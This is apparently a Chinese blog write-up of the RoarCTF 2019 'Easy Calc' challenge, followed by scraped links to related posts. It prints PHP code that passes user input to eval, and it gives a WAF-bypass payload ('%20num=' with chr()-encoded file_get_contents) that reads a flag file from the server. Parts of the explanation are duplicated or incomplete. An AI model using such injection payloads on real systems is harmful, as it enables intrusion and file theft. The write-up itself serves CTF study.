web

[RoarCTF 2019]Easy Calc(利用PHP的字符串解析特性)

先上源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
   show_source(__FILE__);
}else{
       $str = $_GET['num'];
       $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
       foreach ($blacklist as $blackitem) {
               if (preg_match('/' . $blackitem . '/m', $str)) {
                       die("what are you want to do?");
              }
      }
       eval('echo '.$str.';');
}
?>
首先先引入新的知识点,php的字符串解析特性

https://www.php.net/manual/zh/function.parse-str.php

parse_str函数用于解析字符串

同时先了解下关于php传入外部变量的相关细节

parse_str函数用于解析字符串

同时先了解下关于php传入外部变量的相关细节

变量名中的空格和点会被替换成下划线


目标是根据以上四个函数构造payload返回想要的结果并打印。

此题直接构造num=phpinfo(),失败说明存在另一道waf,然后构造%20num=phpinfo()绕过防火墙

而php会自动过滤空格然后就可以执行表达式。

payload=%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

没有var_dump也可以

即可

buuoj [RoarCTF 2019]Easy Calc(利用PHP的字符串解析特性)的更多相关文章

  1. [RoarCTF 2019]Easy Calc

    [RoarCTF 2019]Easy Calc 题目 题目打开是这样的 查看源码 .ajax是指通过http请求加载远程数据. 可以发现有一个calc.php,输入的算式会被传入到这个php文件里,尝 ...

  2. BUUCTF | [RoarCTF 2019]Easy Calc

    看一下页面源码,发现了提示: calc.php?num=encodeURIComponent($("#content").val()) $("#content" ...

  3. [原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)

    简介  原题复现:  考察知识点:http协议走私.php字符串解析漏洞  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到 ...

  4. [RoarCTF 2019]Easy Calc-协议层攻击之HTTP请求走私

    0X01:什么是HTTP请求走私 HTTP请求走私属于协议层攻击,是服务器漏洞的一种. HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术.使攻击者可以绕过安全控制, ...

  5. Web-[RoarCTF 2019]Easy Calc

    看看题目内容,一个计算器,并且过滤了非数字的值,查看源码,上了waf,并且在calc.php显示waf的规则 <?php error_reporting(0); if(!isset($_GET[ ...

  6. [RoarCTF 2019]Easy Java

    0x01知识点: WEB-INF/web.xml泄露 WEB-INF主要包含一下文件或目录: /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命 ...

  7. 刷题[RoarCTF 2019]Easy Java

    前置知识 WEB-INF/web.xml泄露 java web工程目录结构 Servlet访问URL映射配置 由于客户端是通过URL地址访问Web服务器中的资源,所以Servlet程序若想被外界访问, ...

  8. [RoarCTF]Easy Calc

    目录 [RoarCTF]Easy Calc 知识点 1.http走私绕过WAF 2.php字符串解析特性绕过WAF 3.绕过过滤写shell [RoarCTF]Easy Calc 题目复现链接:htt ...

  9. buuctf—web—Easy Calc

    启动靶机,查看网页源码,发现关键字 $("#content").val() 是什么意思: 获取id为content的HTML标签元素的值,是JQuery,     ("# ...

随机推荐

  1. github通过token提交代码

    github通过token提交代码 生成token 个人头像->Setttings->Developer settings->Personal access tokens->G ...

  2. Java 多线程中的死锁概述

    死锁 死锁的定义 发生在并发中 当两个线程(或更多)线程(或线程)相互持有对方所需要的资源,又不主动释放,导致所有线程都无法继续执行,是程序陷入无尽的阻塞,这就是死锁. 如果多个线程之间的依赖关系是环 ...

  3. linux作业--第七周

    1.解决DOS攻击生产案例:根据web日志或者或者网络连接数,监控当某个IP 并发连接数或者短时内PV达到100,即调用防火墙命令封掉对应的IP,监控频率每隔5分钟.防火墙命令为:iptables - ...

  4. php 23种设计模式 - 解释器模式

    给定一个语言, 定义它的文法的一种表示,并定义一个解释器,该解释器使用该表示来解释语言中的句子.角色:环境角色(PlayContent):定义解释规则的全局信息.抽象解释器(Empress):定义了部 ...

  5. PC微信聊天记录数据迁移恢复

    PC微信聊天记录数据迁移恢复   本文章仅仅是PC微信聊天记录从一台电脑迁移到另外一台电脑恢复办法,主要适用于更换电脑,或重装系统,用户想保存PC微信中数据和文件. 1.查看微信记录的保存文件夹 设置 ...

  6. IDEA快捷键使用分享

    Ctrl+D:复制当前行 Shift+Enter:光标移动到下一行 Alt+/:补全代码 Alt+Enter:万能解错/生成返回值变量 Ctrl+Z:撤销 Ctrl+y:反撤销 Ctrl+y:删除 C ...

  7. CF1386C口胡

    自己在物理课上编了一道题,大概就是这题把删除区间的边改为保留区间的边...都不觉得判断短路和判断二分图有点儿像吗 题意:给定一张无向图,每次暂时删除一个区间内的边,问删除后这个区间是否为二分图. 首先 ...

  8. 微信Native支付

    微信Native支付对接(扫码) 由于有业务需求对接了微信和paypal支付,这边做个记录 微信支付开发文档:https://pay.weixin.qq.com/wiki/doc/api/index. ...

  9. 给R语言RStudio添加阿里云镜像源

    镜像下载.域名解析.时间同步请点击阿里云开源镜像站 方法一: 打开RStudio,输入options()$repos查看默认镜像源情况 options()$repos 打开tools工具栏,找到Glo ...

  10. 解决使用DBeaver连接MySQL时报错-The server time zone value '�й���׼ʱ��' is unrecognized or represents more than one time zone.

    解决使用DBeaver连接MySQL时报错,其实提示很明显. The server time zone value '�й���׼ʱ��' is unrecognized or represents ...